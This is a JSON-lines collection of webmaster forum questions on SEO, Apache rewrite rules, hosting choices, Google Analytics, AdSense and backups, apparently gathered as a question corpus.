{"id":"49812","title":"What are some potential issues in blocking all incoming requests from the Amazon cloud?","text":"Recently I, along with the rest of the world, have seen a significant increase in what appears to be scraping from Amazon AWS-related sources. So simply put, I blocked all incoming requests from the Amazon cloud for our hosted application. I know that some good services\/bots are now hosted on the cloud, and I'm wondering if certain IP addresses should be allowed, as they may gather data that would in the end benefit our site's SEO rankings? **-- UPDATE --** I added a feature to block requests from the following hosts: * Amazon * Softlayer * ServerDeals * GigAvenue Since then, I have seen my network traffic decrease (monitored by network out bytes). Average operation is around 10,000,000 bytes. You can see where last week I was not blocking, then started blocking. I've since removed the blocks and will see what the outcome is. "}
{"id":"24064","title":"Change from static HTML file to meta tag for Google Webmaster verification","text":"I started verifying the server by putting a couple of static HTMLs in place. Then I noticed that Google wants you to keep these files in place. I didn't want to keep the static HTMLs in, so I want to switch to an _alternative_ verification mechanism, and include the meta tags on the home page. Unfortunately, once your site is verified, you never seem to be able to change to an alternative way of verification. I tried removing the HTML pages. No luck whatsoever. Google still considers the site to be 'verified'. Does anybody know how to undo this? All I want to do is switch to the meta tag based method of site ownership verification."}
{"id":"21547","title":"Handling Page View for Images Site","text":"I want to know how sites like stackoverflow.com or imgur.com manage the page views of their article. i.e. once i view it and then no matter how many times i refresh it.. the page view count won't increase. I would also like to implement it for my image site and would also like to know when should i update views in database. Thanks."}
{"id":"24066","title":"Is there additional overhead for status code 500s?","text":"We have these web applications that require specific information in a query string. If that information is not provided, the applications throw an error. It seems to me that we should explicitly handle this with a 404, since the URL without the query string does not point to an existing page. Most of management seems to disagree with me; they argue: > It's not like anything links to the page without including the correct qs. > So the only people who would end up at the 500 page are those who went there > deliberately, or because of a broken copy-paste. Isn't there additional overhead to 500s above and beyond what we might see for 200s and 404s, and if so, wouldn't it be easier for an attacker to trigger a DoS by focusing on URLs that throw an error? (In this case we're using Oracle Weblogic, but I'm interested in the general case.)"}
{"id":"51889","title":"Change site name SEO impacts","text":"My site is merging with my friends one so the domain and the site title will change, currently my page title's are structured <title>Contact Us | Example Industries<\/title> But when we change the name of the company I was thinking of changing it to <title>Contact Us | Cool New Site Name<\/title> I have a sitemap.xml file which I can add in Google Webmaster Tools to reindex my pages, but is there anything I need to be aware of when changing names, should I still reference the old name initially maybe in the title or meta description. What is the best approach here?"}
{"id":"68446","title":"How to handle non-existent subdirectories?","text":"I have a dynamic website with friendly URLs. Example: * Instead of `\/user.php?id=123`, I have `\/user\/123` * Instead of `\/index.php?category=fishes`, I have `\/fishes` But, how do I handle non-existent subdirectories such as `\/about\/123`? Currently it gives a 200 success instead of a 404 not found error. Is there a way to deal with non-existent subdirectories in Apache config and at the same time allow for friendly URLs? Or do I have to handle this individually for each PHP script?"}
{"id":"774","title":"Are there any downsides to starting a domain name with a digit?","text":"In response to my domain name suggestion on meta, Kris said: > Something about having a domain name begin with a digit just feels ... _off_ > to me. * Does it affect site ranks on search engines? * Do you think people will be less likely to visit it? * Is this just a programmer response, since most variable names can't start with a digit?"}
{"id":"26792","title":"Steps involved in hosting a website","text":"I work as a Java \/ Java EE developer. I have built \/ maintained websites for the companies that I work for , but I have never been involved in the end-to- end process (Eg: procuring servers , registering the website etc). I thought of building and hosting a website for my uncle. He sells few financial products and he has to travel a lot around the city that I live to market and sell his products. I wanted to help him by building a website for him which would hopefully allow people to yeah out to him rather than him going and searching for customers. I am not quite sure as to where I should start - 1) Whom should I contact for hosting my web application - this is not a very critical app , hence a low cost solution would be suffice.Are there any low cost cloud based solutions available? 2) How can I register a domain and how much does it normally cost? 3) How can I copyright my website and its contents? Regards,"}
{"id":"26796","title":"How do paid posts work?","text":"I just had someone email me asking how much it would cost for a paid post with a link? It would be 300 words and provide a link to his website. Is this common and what's it called?"}
{"id":"67617","title":"inspect element on webpage displayed by Google Chrome","text":"How can I inspect an element within a webpage displayed by Google Chrome browser as Firebug allows me to do on Firefox ? This question does not help me. If you are used to use Firefox and Firebug, you can see what I am looking for on this picture (circled in red color): "}
{"id":"29873","title":"Do I have to create a new master zone for every site in webmin?","text":"I'm new to webmin and would like to use it for three sites. Do I have to create a new master zone for each of my sites? Thanks in advance."}
{"id":"67614","title":"How do I create templates for linking to PubMed Central ids and and DOI names in MediaWiki?","text":"I want to build templates that would render `{{PMC|PMC number}}` as a PMC number. That is, hyperlinked to the respective PubMed Central entry for said number. For example, `{{PMC|2824929}}` would be rendered as PMC 2824929. For DOI names, it's pretty much the same deal (i.e., I write `{{doi|doi number}}`) but it comes out as the DOI number hyperlinked to the respective dx.doi.org entry. For example, `{{doi|10.4103\/0972-2327.56312}}` would be rendered as: doi:10.4103\/0972-2327.56312."}
{"id":"24322","title":"Speed up your website?","text":"I use WP SuperCache and W3 TotalCache to optimize the speed of my Wordpress website by caching. That really helps! But lately I have been building a website myself, basically from scratch. Is there any opensource program\/code\/api out there which can help me optimize (the speed of) this non- WP website (by caching) or so?"}
{"id":"72","title":"What are the basic things to do in order to make a web site iPhone-friendly or more mobile-accessible?","text":"What are the basic things to do in order to make a web site iPhone-friendly or more mobile-accessible in general?"}
{"id":"2972","title":"Blog, News, Slashdot effects & Video","text":"We want to set up a WordPress 3 with the multi-site option enabled in order to have several (2-3) sites for news, photos & video. The expected audience is around 10-15k visits\/day. One of the problems is that we _know_ that we will have big, exclusive news which will generate _Slashdot effects_ generating spikes reaching to 50-70k visits\/day. These spikes will be rather rare: let's say one-two spikes \/ quarter. Each spike will last 1-2 days and after this will fade. But it is _critical_ for us that during the spikes the site(s) will be online _AND_ responsive. Another problem is that (at least) one of the sites will stream _video_. It is our video but we think to put it on a CDN (more on this later). ~250 episodes, each episode will be between 35-47 minutes. This gives us approx. 150 MB x 250 = ~ 37 GB. We plan to post two episodes \/ week. No, we don't think that all our audience will look at these. Let's say that we'll have at most 2-3k streams in the first day of a new episode. Also, even if we consider that the video is good (isn't it? ;-) - we don't think that this will generate any slashdot\/digg (etc.) spikes). We think to use Amazon CloudFront for this.(or another CDN? suggestions please...) **Giving the above what hosting solution do you recommend?** We look at the following values: speed, uptime, budged, tech support - yeah, I know, the Paradise is in Heaven not here, on Earth :-). FTR, most probably we need a VPS, that's why I put the question here. TIA for any comments"}
{"id":"2973","title":"Is it possible to do A\/B testing with Adsense ad positions?","text":"I was just looking at Google Website Optimizer, however you need a 'conversion' page in order to measure results. If trying to optimize ad positions, this doesn't appear to be possible. Even without GWO I can't see a way to track clicks in Adsense, any ideas?"}
{"id":"2977","title":"Apache RewriteRule not redirecting","text":"I have this in my .htaccess file: RewriteEngine on RewriteRule ^images\/chart\\.png$ \/static\/images\/chart.png [L,R=301] RewriteRule ^images\/artwork\/(.+).png \/static\/artwork\/$1.jpg [L,R=301] # codeigniter RewriteCond $1 !^(index\\.php|static|images|admin|user_guide|sitemap\\.xml\\.gz|robots\\.txt) RewriteRule ^(.*)$ \/index.php\/$1 [L] The CodeIgniter part should ignore the images and static folders. However, when I open mysite.com\/images\/chart.png I get the CI 404 page. The other 301 redirect is working fine. Can't fathom this one out, does anyone have any idea?"}
{"id":"5362","title":"SEO and http-redirect headers?","text":"Similar question but different on key points. I have the following setup: example.com requests forward to example.com\/landing\/re.php with a 301 permanently moved. \/landing\/re.php evaluates cookies (or other request data) and directs you to either the landing page or to a specific language site, it redirects with a 303 see-other. All http-redirects are sent in the HTTP response header section. I'm really worried that bots won't be able to deal with this and I should resolve this in some way. My first instinct is to evaluate user-agent and send google to our English page, however I am unaware of the issues with my setup. What's the best way for me to deal with this? Should I re-work what I'm doing to some other way?"}
{"id":"1042","title":"Google JSAPI Auto-Loading","text":"When using Google's JSAPI Auto-Loading system - is there a way to get the returned file with all the JavaScript (combined) in one HTTP request? At the minute is just calls the load routines (with more HTTP requests) at the end of returned file, which makes it less than ideal when it can reduce 2+ requests by just including the returned JavaScript content all in one."}
{"id":"1041","title":"AJAX Keyword Suggestion Tool","text":"Are there any JavaScript includes to provide an AJAX based keyword suggestion tool based on some existing text? For instance Yahoo offer a Keyword Extraction Tool but due to cross-domain JavaScript policies in browsers it is not possible to provide a pure JavaScript version of this. If a site offered a library for inclusion that would then perform the query this breaks the cross-domain restriction. Is there such a service?"}
{"id":"49252","title":"Slot matrix - Google Analytics _setCustomVar","text":"https:\/\/developers.google.com\/analytics\/devguides\/collection\/gajs\/gaTrackingCustomVariables \"...Use a slot matrix to track large numbers of custom variables...\" How to implement it?"}
{"id":"5368","title":"Add valuable dynamic content to a mobile oriented (local) website, any suggestions?","text":"HI to all, I'm developing a mobile website containing some valuable dynamic content for people living in my city. I did find some useful informations that aren't available in a quick, light mobile format and I added to my site: teathers' programming, pharmacy shops open at night, twitter account embedding... have you got any other suggestion? I was thinking about facebook oauth to add some \"social\" feel, but I woluld like to avoid cloning fb information\/features, just add some other cool addictive thing. I 'm using php for dynamic contents."}
{"id":"57917","title":"Why is the difference between backlinks in Alexa, Google Webmaster Tools and Ahrefs?","text":"I'm a little bit confused between what to choose. The backlink volume showing in Alexa termed as \"Site Linking In\" and the backlinks showing in Ahrefs have too much difference. Also, the backlink data showing in Webmaster Tools are too confusing. I just want to have the simple method by which I can check the backlink data for my website. How, which and when other websites are linking to me, so that I can strategize in a much better way."}
{"id":"30129","title":"How are batch jobs run in commercial hosted Windows environment?","text":"I am attempting to implement a web-based solution on Windows with SQL server. Some batch loads and data FTP needs to be run on the server. How are batch jobs run in commercial hosted Windows environment? What do I need to ask the hosting company to provide me with (security, remote control software, etc?). Thank you."}
{"id":"5439","title":"How to track how many users are online","text":"i need a good service so i can see how many visitors are online on my website. I need a good, reliable service that can handle high-traffic. (My hand-written script failed in the high-traffic peak hours!) Thank you! p.s. i need a good reliable service, i dont care if it is free or paid. i just need to have reliable data! thank you!"}
{"id":"49708","title":"flickr API - usage limit quota","text":"Hi is there anyone who knows which is the Flickr API usage limit? I have website and i would like users to attach photos to their posts via Flickr is it possible? Which are the limits? On the official Flickr api documentation there is nothing about usage quota :("}
{"id":"43507","title":"How to calculate Website Bandwidth?","text":"I'm already hosting my site, and looking for another host. So I need to know how much bandwidth my website is using. On my current host I can see only following bandwidth related data: Outbound traffic (24 hours) * **Maximum** 801kb\/s * **Average** 398kb\/s I want to know how many Gb\/month I need."}
{"id":"34582","title":"Installing Ruby on Rails without access to command line","text":"I'm VERY new to this whole web dev thing but I can program and I liked Ruby when I used it before. Now, I've got web hosting and a domain and a site on there that's currently ran under Joomla but I'd like to experiment with Rails. The most access I can get to the server is FTP and maybe a setting here and there in the control panel. Definitely no command line. Is there a way to just, I don't know, upload ruby on rails to a folder and run it in a browser? That's how Joomla works I think. Literally every article I read about this starts with \"you just do sudo get...\" mumbo jumbo."}
{"id":"14698","title":"Google is indexing unintended content that is either unpublished or a secret part of site","text":"Google is indexing parts of my site that I haven't linked to, it's a mobile version of website that I'm working on - `www.domain.com\/m\/` <-- **note the M**. How is that even possible? Only thing I can think of is Google getting the URL's from Google Analytics. Same problem with my development site, `dev.domain.com` - This I have fixed by re-enable htpasswd. Had it once, but disabled it for some testing purposes. I know I could use **robots.txt** to skip the indexing, but have always been told - \"Don't put super secret stuff in this, as it is public domain\". Will Google follow the rules of a `<meta name=\"robots\" content=\"noindex,nofollow\">` ? Thinking of putting this on the mobile version. People accessing `www.domain.com` from a smartphone is automatically redirected to the mobile version."}
{"id":"14572","title":"Drupal: Notify admin when comments posted on blog","text":"I couldn't find a thread already clearly addressing this. I have a small personal website, basically a blogfolio. I'd like to allow anonymous commenting so ppl can provide feedback as I don't expect them to be bothered registering on my site. However, as the site admin I'd like to receive a notification whenever a comment is posted so I weed out abuse\/ spam. I don't expect a large enough volume in the near future for this to be overwhelming. Is there a very simple way to do this? I'm aware of a few modules that offer similar functionality, just not sure which to use or if I even need a module to do this. Bonus if it's a method that can be extended to perform some automated spam filtering in the future if the workload becomes overwhelming. I am using Drupal 6. Thanks."}
{"id":"11057","title":"How to hire graphic designer?","text":"I am developing the backend for a website. I always had the trouble of making an attractive design for my websites and have never hired any graphic designer yet. I have no logo nor web template. What are the steps to hire a graphic designer? What information should I read about before hiring one in order to make most out of our time? Where should I find him? How much do they charge and what qualifications should I look out for? Should I disclose my business ideas to the designer or could that be risky?"}
{"id":"37849","title":"Different data with same title and keywords","text":"Here is my scenario: I have a website where I redirect my users based upon the device they are using. Let's say a user is visiting from an iPad: I take them directly to the page of iPad wallpapers. The user selects iPad version and I them take them to the gallery of wallpapers where they can select and download any wallpaper. Every wallpaper is the required resolution, I have my reasons for doing this. Now the thing is there are multiple resolution versions of an image appearing on 5 different sections of my website, each having their own view page. There is only one record in the database table for the image, and based on my consistent naming convention of the images, I pick the required image. This means when 5 different pages are generated in 5 categorized sections of the website, due to a shared database record, the keywords, titles and every single detail of these is the same besides the resolution of the image, and the section specific details that a page has. The pages also have different paths like wallpapers.com\\ipad-1\\cars\\Ferrari-dino.html wallpapers.com\\ipad-2\\cars\\Ferrari-dino.html wallpapers.com\\ipad-3\\cars\\Ferrari-dino.html wallpapers.com\\ipad-4\\cars\\Ferrari-dino.html wallpapers.com\\ipad-5\\cars\\Ferrari-dino.html 1. _**My question is, how do search engines see it and how do they rank it?_** 2. _**Is it a good or normal or bad SEO practice? If bad, how dangerous it is for my site's SEO?_**"}
{"id":"49707","title":"How to host a website in multiple countries for fast response times","text":"I have an eCommerce store and it sells digital downloads. The website is hosted in the US, but I have a large customer base that is outside the United States in different countries. I know the hosting here will be fast for US customers, but how can I make it fast for viewers all around the world? Because when someone outside the US accesses the website, the request will always go to the US data center. Is it possible that when the site is accessed from outside US (e.g: UK), the request should go to UK (or nearest) data center? If I buy different TLD's `.co.uk`, `.com` etc. for different countries (but should target same website), then is it possible that in UK, it should open `.co.uk`. I can achieve it using IP locator and redirect the user to the respective URL? But how does the request go to the nearest server? Is it possible via CDN, cloud, cloud hosting, or something else? How can I achieve this goal?"}
{"id":"24496","title":"Will moving to Facebook\/Disqus Commenting lighten the load on my server any?","text":"I manage a site that gets about 50 million hits a month. It's a Wordpress site, load balanced over 6 servers, and has a varnish caching system setup. Right now, 95 - 97% of the time, page views hit the cache. The only time it serves up a new page from the server is when a new story is created, or someone is logged in looking at the stories and commenting. What I am trying to figure out is that if I move over to Facebook Comments or Disqus commenting, and get rid of the users entirely, will that lighten the load? I would think it would because the only time you would be hitting the server, and not the cache, is when you're logged in - which only the admins would be. I know it's only 2.5 - 3% but I wasn't 100% sure."}
{"id":"38111","title":"Does AdSense serve higher CPC ads to a website that has higher number of visits?","text":"For the same niche and same set of keyword, does Google AdSense serve higher CPC ads to a website that has higher number of visits? I have observed that for similar niches 1 website (with 3K daily uniques) makes around $100 a month, and another website (with 10k daily uniques) makes around $700-800 a month It seems that the earning curve is not linearly dependent on visit count and somewhat increases at a rate faster than the growth of visits, this leads me to think if the Google AdSense algorithm serves higher CPC ads once a website starts getting a large number of visits."}
{"id":"38112","title":"What's the canonical process for backing up a website?","text":"This is going to sound terrible, but bear with me. I currently have a cron job that does a mysql dump, a git add all and commit, and a git push to bitbucket. I set this up almost a year ago, when I didn't know much about git, backups, and general web development and administration. I haven't had the time to fix this and do it properly, but the repo has now grown quite big from accumulating large temporary files from my forum, so now I _have_ to do something and I want to do it properly this time around. **What processes do semi-large websites and personal site admins use for backing up server content?** Based on what I've learned since I set this up, what I'm currently think of doing is: 1. Making changes on a development domain and committing the code frequently 2. Archiving the entire site after a successful deployment from the development domain 3. Having automatic daily database and user-content backups. I still like the idea of backing up sqldumps with git, though. I know git isn't a backup tool and that this is beyond its purpose, but the textual queries that are exported would be easily managed by git and would save a lot of space in archives."}
{"id":"49258","title":"Blogger AdSense ads not showing?","text":"I have a Blogger site. I have configured AdSense in Earnings tab with a valid AdSense account (it has been run for 8 years) but the ads are not showing. What else can I configure?"}
{"id":"38114","title":"understanding technology that news websites use","text":"I am trying to understand the technology which many news websites use please have a look at this website http:\/\/www.shritimes.com\/ if you click any news item then the particular thing gets zoomed and viewer can read the news as far as I can understand they have done some programming by which a gif image is opened up in a new pop up, can some one help to understand as what thing is used here javascript,html, php or what exactly? I have seen this feature in a lot of websites I want to know how it is achieved? I am looking from the code side of the things if some one can advise me any function call which does this I am a programmer but into C I am new to web kind of things."}
{"id":"3122","title":"Open a page that redirects without clearing cache","text":"I've taken over a website that has an index.html page that redirects. This page gets cached. Obviously clearing the browser's cache entirely would solve the problem. Is there any way to go directly to mysite.com and be assured of getting the new page without completely clearing the cache? I'm looking for something similar to holding shift when reloading a page, only this time for the initial opening of a page."}
{"id":"17846","title":"Number of pages in Google web index falling?","text":"Accoring to webmasters tools (sitemaps), the number of pages for one of my sites in the Google index has been steadily declining over the last few days. In the space of a week the number of pages has dropped from over 1000 to just over 400. Why might this be? Has anyone else experienced something similar recently?"}
{"id":"17840","title":"How to choose a good website\/company name?","text":"A friend and I have a small web hosting company, and we want to take things to the next level. Part of the deal is to get a new name (the current name was chosen pretty quickly a long time ago, and contains my friends online pseudo), but we're having a hard time to find a good one. We can either choose a \"descriptive\" name, that contains some keywords related to what we do (web, net, hosting, etc...), will help for SEO and may give people an idea of what we do, or we could have a \"fancy\" name, that sounds good, is catchy and easy to remember, but will not help for SEO or giving clients a clue. Both kinds are equally hard to find, because in the first case most of the meaningful\/cool names are already take, and in the second case... well... it's hard to come up with a catchy\/sexy name ;). How do you guys cope with this issue? Do you have any name recommendation for a web hosting company? The name would be both the domain name and the (registered) company name."}
{"id":"51906","title":"Web hosting on another continent?","text":"My client from the US wants to have a website for Australian users. I am wondering if the web host really needs to be in Australia for this site. Does it really make any difference compared to having it hosted in the US?"}
{"id":"26290","title":".htaccess remove index.php\/url\/ from URL","text":".htaccess is not working. * `\/index.php\/user` -- is working * `http:\/\/www.example.com\/user` is not working Current .htaccess file: RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule .* index.php\/$0 [PT,L]"}
{"id":"21001","title":"Question on (size) relation between diferrent images on a website","text":"I have a website that uses 2 image sizes: * thumbnail * profile They have different sizes (obviously), but their aspect (i.e. width\/height) ratios are different. My question9s) is this: I would like to know what the standard way of doing things on a website is. When a user is uploading a photograph, I ask for a large photograph (which will be used for the profile page), I then \"redimension\" that image to a thumbnail **Q1.** Is this the \"normal\" way of doing things? (I dont want to make things difficult\/different for my users) If that is the normal way of doing things, then I assume that it would be important to preserve the \"aspect ratio\" between the profile photo and the thumbnail photo, otherwise the thumbnail photos will be distorted. **Q2** Is this assumption (i.e. maintaining aspect ratio between thumbnail and profile image) correct?"}
{"id":"15991","title":"Deny access to a folder on hosting server but serve the pages","text":"My hosting server allows to host multiple websites. The directory structure is like this * root |_ www.a.com |_ www.b.com |_ www.c.com |_ www.d.com I want to put some PHP files on the www.d.com folder so if some one browse the site from web-browser can get it, but no one can get it's source code _[even by loggin in to the root folder]_. Is there any way to doing so ? There is a feature called `Password protect folder` or so, can in help in this case ?"}
{"id":"60562","title":"How to read Google Analytics events data?","text":"My question is about Android application button press tracking, but I believe there is no big difference with button press on the web page, so I ask the question here. I would like to track user actions and user settings in my android app, so I've added the following code (executed when user presses particular button): if (user_name != \"\") has_name = 1; ... easyTracker.send(MapBuilder.createEvent(\"ui_action\", \"send_mail\", \"has_name\", (long) has_name).build()); easyTracker.send(MapBuilder.createEvent(\"ui_action\", \"send_mail\", \"has_address\", (long) has_address).build()); easyTracker.send(MapBuilder.createEvent(\"ui_action\", \"send_mail\", \"has_operator\", (long) has_operator).build()); easyTracker.send(MapBuilder.createEvent(\"ui_action\", \"send_mail\", \"has_passport\", (long) has_passport).build()); easyTracker.send(MapBuilder.createEvent(\"ui_action\", \"send_mail\", \"has_phonenumber\", (long) has_phonenumber).build()); easyTracker.send(MapBuilder.createEvent(\"ui_action\", \"send_mail\", \"has_mo_consent\", (long) has_mo_consent).build()); easyTracker.send(MapBuilder.createEvent(\"ui_action\", \"send_mail\", \"has_other_docs\", (long) has_other_docs).build()); easyTracker.send(MapBuilder.createEvent(\"ui_action\", \"send_mail\", \"has_screenshot\", (long) has_screenshot).build()); easyTracker.send(MapBuilder.createEvent(\"ui_action\", \"complaint_region\", email_to, null).build()); See createEvent description - it sends `Event category`, `Event action`, `Event label`, Event value accordingly. Now I see the following results for particular date - EVENT ACTION: send_mail » EVENT CATEGORY: ui_action  EVENT CATEGORY: ui_action » EVENT ACTION: complaint_region  I can not understand - should not be total number of events `complaint_region` multiplied by 8 (number of event labels for `send_mail`) be equal to `send_mail` total events? `76*8 != 1038`. And, the main question - how many times all users pressed the button? `76`?"}
{"id":"15993","title":"Is it possible for a web-server to send more files than requested for, and have the browser accept them?","text":"I've created a basic web server for a school project, and it serves static content without a problem. I thought of having the server parse all htm\/html files for links to .js\/.css\/image files, and send these files to the client without these files being requested by the client later. > eg. The browser requests: index.htm > >> The server responds with intex.htm and image.jpg I modified the server to send two distinct http responses for a \"GET \/index.html HTTP1.1\" (one for the html page and one for the image), but the browser ended up requesting the image when it was good and ready. Is there any way to bypass this? (use a multipart response, perhaps) Will these files be accepted by most browsers, or will they be rejected for security reasons?"}
{"id":"66875","title":"Tie multiple values to an event in Google Analytics","text":"I have a search form with several fields - 1 or all of them may be used. I also have an outbound link on the search results that trigger an event. What I am trying to do is determine how many of each search term is used in some way that resulted in a click to each of these outbound link events. For example, let's say that I have the following searches, both which result in a click event on OutboundLink A **Search 1** * FirstName: John * LastName: Smith * ZipCode: 90210 **Search 2** * LastName: Smith * State: California I would want something that aggregated the search terms that came before that outbound click event like this: * John: 1 * Smith: 2 * 90210: 1 * California: 1 I can try to figure out a way to track this server-side, but I was hoping that I would be able to do this with Google Analytics."}
{"id":"60758","title":"Will a standard CMS on a shared web hosting account work for this?","text":"I have two questions concerning CMS's that I need answered if possible: I need to create a site with a Database. This site will in due time have lots of traffic and many users if things go as planned. Is it better to have the CMS on a shared web hosting account or is it better to have a dedicated server for this? The site I want to create needs to be able to create groups where each group has its own admin. The admin of the group decides the content that each member can view\/access. The information of one group can be shared to other groups as well. This means that only the information content is shared but not the group's member data. Should I use a single or multiple databases for this problem? Is this something that can be done using standard CMS systems out there. or should I try to build one myself?"}
{"id":"35733","title":"DNS forwarding used to point GoDaddy DNS to Heroku app: this doesn't work from a corporate network, why?","text":"My domain on GoDaddy is set up with DNS forwarding to the Heroku app. This works fine from all the internet connections I've tried except for the one at work. How can I troubleshoot this issue? Is it a case of ports being blocked? Why might that matter?"}
{"id":"38456","title":"RewriteRule for URL Subdirectory Root","text":"Have not found this in my searches on SE. I need this scenario to work: • User visits **someurl.com\/news\/folder** or **someurl.com\/news\/somefolder\/** , they get redirected to **someurl.com\/somefolder**. • If the user visits JUST **someurl.com\/news** or **\/news\/** , they are allowed through to visit **\/news**. Here is my current rule: **RewriteRule ^news\/(.*) \/$1 [NC,R=301,L]** How do I make it allow the second bullet point? First seems to work with no issues. Thanks all! **POST UPDATE** I have got the code RewriteCond %{REQUEST_URI} ^news RewriteRule ^\/news news\/ [NC,L] RewriteCond %{REQUEST_URI} ^\/news\/(. _)$ RewriteRule ^news\/(._ ) \/$1 [NC,R=301,L] BUT - it doesn't allow me to go to the URL something.com\/news\/ Any thoughts?"}
{"id":"23568","title":"Trouble with pleskrestore \"The file you are trying to upload is not a valid backup file\"","text":"I am having trouble with pleskrestore on Plesk 10.4.1, CentOS 5. I have 6 files I created (also in Plesk 10.4.1) with pleskbackup, split into 4GB: Here is what I used ... $ \/usr\/local\/psa\/bin\/pleskbackup --server --output file=ftp:\/\/user:pass@domain.com\/colossus729_split_0 --split=4G ... to make these files: colossus729_split colossus729_split.001 colossus729_split.002 colossus729_split.003 colossus729_split.004 colossus729_split.005 But plesk restore wouldn’t work with those files (contrary to the documentation) # \/usr\/local\/psa\/bin\/pleskrestore --restore colossus729_split -level server -license and get this error: \"The file you are trying to upload is not a valid backup file\""}
{"id":"5759","title":"Are there any cross-operating-system, cross-browser bugs of which web-programmers should be aware?","text":"Perhaps this belongs on superuser, but I'll try here on stackoverflow first I develop on Ubuntu and was wondering if it's safe to assume that my site will look the same in, say, Chrome, _when viewed on a Mac or Windows system_ , as it does when viewed on a Linux machine in the **same browser**. I'm not talking about cross-browser problems here, but rather **cross- operating-system browser issues** I guess that all Linux users know to be sure to include some Linux safe fonts in their font-stack cos we don't all have Helvetica, Arial, Verdana, Tahoma and the lovely Trebuchet MS installed by default, but is there anything else? I understand (and fully expect) that **our favourite browser** (IE), doesn't work the same under Wine as it does in Windows but I'd hope that other browsers do"}
{"id":"23560","title":"Search engines, different vhosts on same server, with some stuff in common: do I risk blacklisting?","text":"I don't want to have different domain names that point to the same server, of stuff like this here. My problem is a bit different. Let's take the real example, then we can generalize the problem. I'm \"Olivier Pons\". I have my own blog here at http:\/\/olivierpons.fr, server: 88.191.136.228. I have a another website that is about to open, that has _nothing to do with my blog_. It's a Website where you can put your jobs. It will have the same server, i.e. 88.191.136.228. I will be the first to be registered, with my job, and my name will appear in 78 different pages (78 departments actually). I there any chance (is it a chance?) some SEOs will blacklist me? ## To generalize: If we host different websites on the same server **and** if they have some things in common, what are the chances to be blacklisted?"}
{"id":"23563","title":"How to host my jsp files in google appengine?","text":"I wondered how to add my own JSP files in Google app engine. I created my account in Google app engine. I don't know where to host my file and what is the url of my google appengine. Can anybody give me a simplified explanation?"}
{"id":"34557","title":"Turn off auto saves in frontpage 2003","text":"When using FrontPage 2003, it insists on updating index.php without asking. I cannot see a way to disable this behavior. Does anyone know if there is a way to stop FrontPage from modifying files automatically?"}
{"id":"59436","title":"Is there a way to see Desktop Events vs Mobile Events in Google Analytics like it does Goals?","text":"In Google Analytics in the Mobile Overview it shows Desktop \/ Mobile \/ Tablet and has columns for conversions\/goals. Most of our setup is using Event triggers not linked to any Goal though. For example downloading our product catalog as a .pdf triggers an Event. Is there a way to see these events in the Mobile Overview or only if I tie each one to its own goal?"}
{"id":"15190","title":"Are you allowed to save Google static map images?","text":"I wanted to know if you are allowed to save a static image of an area of a map so the usage limit does not run out and gets replaced with an quota exceeded image. If it's allowed, then I can save the image onto my server and link it around my website instead making requests to the Google Static Maps API. * Google Static Maps API I have not seen a policy where you are not allowed, but all I need is confirmation if you are allowed or not so I don't get in any kind of trouble."}
{"id":"27671","title":"Does the keyword blog in url impove seo?","text":"I have seen a couple of site which has high number of hits. They are mostly tutorial sites and blogs that address software issue\/errors. I wonder if the keyword \"blog\" has a very positive effect in SEO? In my own site, I have installed Wordpress in root folder to avoid any blog keyword. I also did this to keep urls shallow (deeper url are not good for SEO). But I may want to think on it again. The sites I am referring too are http:\/\/blog.sqlauthority.com http:\/\/veerasundar.com\/blog\/2011\/11\/making-xampp-to-serve-any-directory-outside-htdocs\/ I know there are standard (sort of) class names or ID that identify different contents and makes it easier for the search engine to identify contents like, \"container\", \"menu\". The use of word \"blog\" would mean this is about dicussing\/tutoring something and have a very positive effect on SEO?"}
{"id":"27670","title":"ShipWire on wpcommerce","text":"I found in wp-commerce the words \"Shipware\" ...what does it means? In addition, Where i can find videos or video tutorials\/course of cms and plugins for e-commerce? Like Magento, etc. wp-commerce.?"}
{"id":"25813","title":"Is there a way to capture a users data after a Paypal transaction has been completed?","text":"Are there any $_POST variables that are sent with my transaction complete url, that I can save in the users session. I would like to be able to capture the email address from the customers PayPal account."}
{"id":"25814","title":"Filter post and route them on a tab in a facebook page","text":"I use dlvr.it to route feeds from many sites on my facebook page. The problem is that they all appear in my main page, hiding the post I create. So i was wondering, is there a way to redirect all those post on a separate tab? maybe some kind of filtering based on the content of the post? Thanks a lot"}
{"id":"5198","title":"Is it useful to create a Facebook page for a website?","text":"I'm aware Facebook pages can be used as a communication and marketing channel for a website. Is there value in creating a Facebook page for a noncommercial website that is moderately trafficked? The idea behind this is to create additional informational\/marketing channels for some websites I run."}
{"id":"22964","title":"cpanel pipe default system mail account","text":"In the cPanel forwarders option how to pipe a system default mail account? For example if the system username is sample and the domain name is example. Address to Forward: here a text box accepts the name and next to that is a list box which is the domain name and it is mandatory. so the email address will become sample@example.com but a system default mail id is not associated with @domainname.com i think see the screen shot...  in that i can specify sample as the system default mail account but the list box shows the sitename. so how to specify only the system default mail account to be forwarded to a piped program or to another email address ?"}
{"id":"67479","title":"Using a .htaccess to RewriteRule and Redirect 301 at the same time?","text":"I have a couple of specific URLs that I want to display differently on my website, like this: RewriteRule ^contact$ contact.php To get ride of the \".php\" extension. And to be SEO friendly (to avoid having 2 different URLS pointing to the same page), I also want to do a 301 redirect between the old URL and the new one: Redirect 301 \/contact.php http:\/\/www.example.com\/contact Each of the lines above works well separately. But if I add them both in my htaccess, I have a redirect loop, and nothing is displayed on my website. How can I fix that? In the end, if I either type \"\/contact\" or \"\/contact.php\", I want to see the contact page with the url \"\/contact\"."}
{"id":"67950","title":"What is the empirical way to tell that Google has removed a URL from the index?","text":"After merging two sites, one with ~40 URLs and one with ~700 URLs (due to a forum) the result was that overall traffic decreased by ~50%. I want to get the traffic back, as it was organic and a helpful resource to the community. After finding this answer I decided to try removing the ~700 forum pages from the index by using a robots.txt disallow, which didn't work. As this FAQ and this answer point out, the robots.txt must _allow_ the pages and meta noindex must be used. After applying noindex tags to all forum pages, removing the disallows from robots.txt and waiting a week, still there are 700+ URLs in the index according to Google webmaster tools. However, if I view the advanced index status and check all the boxes, it shows 795 URLs indexed and 200+ blocked by robots. The blocked by robots graph line is increasing steadily (~30 URLs per week). Note that average crawl rate is ~125 pages per day. My question is this: How can I tell that the URLs have successfully been removed? Looking at Google webmaster tools' graph of index status is what I thought was a good indicator, but I am wondering what should actually happen in the results there. Should the blue graph line of total indexed drop back down to a low URL count (as I am expecting), or will the total indexed remain high and the blocked by robots and\/or removed URLs increase? This answer from Google seems to indicate that the total indexed (blue line) should drop. Why then has it not dropped at all after applying the noindex tags and waiting a week?"}
